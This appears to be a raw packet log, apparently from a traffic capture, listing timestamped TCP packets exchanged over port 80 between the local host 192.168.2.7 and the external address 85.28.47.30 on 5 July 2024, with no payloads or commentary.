Jul 5, 2024 06:23:07.832232952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832262039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832269907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832269907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832273960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832285881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832309961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832309961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832312107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832325935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832334995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832360029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832385063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832494974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832505941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832516909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832534075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832549095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832618952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832631111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832640886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832650900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832663059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832672119 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832672119 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832721949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833462000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833488941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833501101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833534002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833542109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833556890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833568096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833578110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833589077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833594084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833602905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833614111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833642960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833642960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833703041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833714008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833731890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833744049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833764076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833766937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833766937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833775997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833789110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833796978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833801985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833822966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833832979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833841085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833841085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833844900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833856106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833862066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833867073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833877087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833888054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833889961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833906889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833910942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833925962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833930016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833939075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833950996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833956957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833966017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833971024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833977938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.833981991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.833990097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834002972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834012985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834026098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834026098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834027052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834038019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834047079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834049940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834062099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834069014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834075928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834086895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834098101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834101915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834101915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834110022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834124088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834127903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834140062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834151983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834161043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834166050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834166050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834172010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834184885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834196091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834208012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834209919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834209919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834218979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834229946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834233046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834240913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.834278107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.834278107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924587965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924657106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924666882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924674034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924684048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924695969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924716949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924727917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924745083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924751997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924766064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924777985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924789906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924802065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924812078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924830914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924837112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924837112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924843073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924855947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924879074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924879074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924926043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.924948931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924961090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924972057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.924983978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925004005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925004005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925004005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925014973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925028086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925036907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925052881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925052881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925057888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925071955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925096989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925096989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925153017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925169945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925185919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925185919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925189018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925204039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925208092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925221920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925230026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925237894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925237894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925267935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925267935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925324917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925335884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925354004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925374985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925385952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925390959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925390959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925406933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925420046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925430059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925440073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925440073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925445080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925457001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925468922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925479889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925489902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925489902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925492048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925532103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925532103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925673962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925684929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925704002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925715923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925726891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925734997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925734997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925740957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925755024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925765038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925776005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925776005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925801992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.925954103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925966978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925977945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.925997972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926007032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926007032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926009893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926023960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926035881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926047087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926059008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926059008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926142931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926206112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926250935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926259995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926284075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926284075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926323891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926336050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926356077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926357985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926357985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926369905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926384926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926389933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926389933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926419020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926419020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926656008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926666975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926680088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926697016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926707983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926707983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926789999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926820993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926832914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926845074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926856995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926868916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926872969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926872969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926882029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926896095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.926923037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926923037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926945925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.926986933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927005053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927017927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927027941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927037001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927037954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927042007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927054882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927066088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927068949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927068949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927088022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927098036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927099943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927110910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927119970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927123070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927123070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927135944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927148104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927165031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927165031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927167892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927181005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927191019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927191019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927203894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927217960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927228928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927228928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927229881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927244902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927256107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927267075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927268982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927268982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927278996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927289963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927305937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927319050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927336931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927345991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927351952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927351952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927361965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927373886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927383900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927396059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927402020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927402020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927411079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927422047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927433014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927443981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927448988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927448988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927458048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927469015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927479029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927483082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927500010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.927505970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927505970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.927654028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018326998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018353939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018388033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018423080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018490076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018502951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018515110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018518925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018523932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018528938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018544912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018549919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018557072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018568039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018575907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018582106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018591881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018593073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018599987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018605947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018620014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018625021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.018642902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018666029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018677950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.018692017 CEST	80	49699	85.28.47.30	192.168.2.7
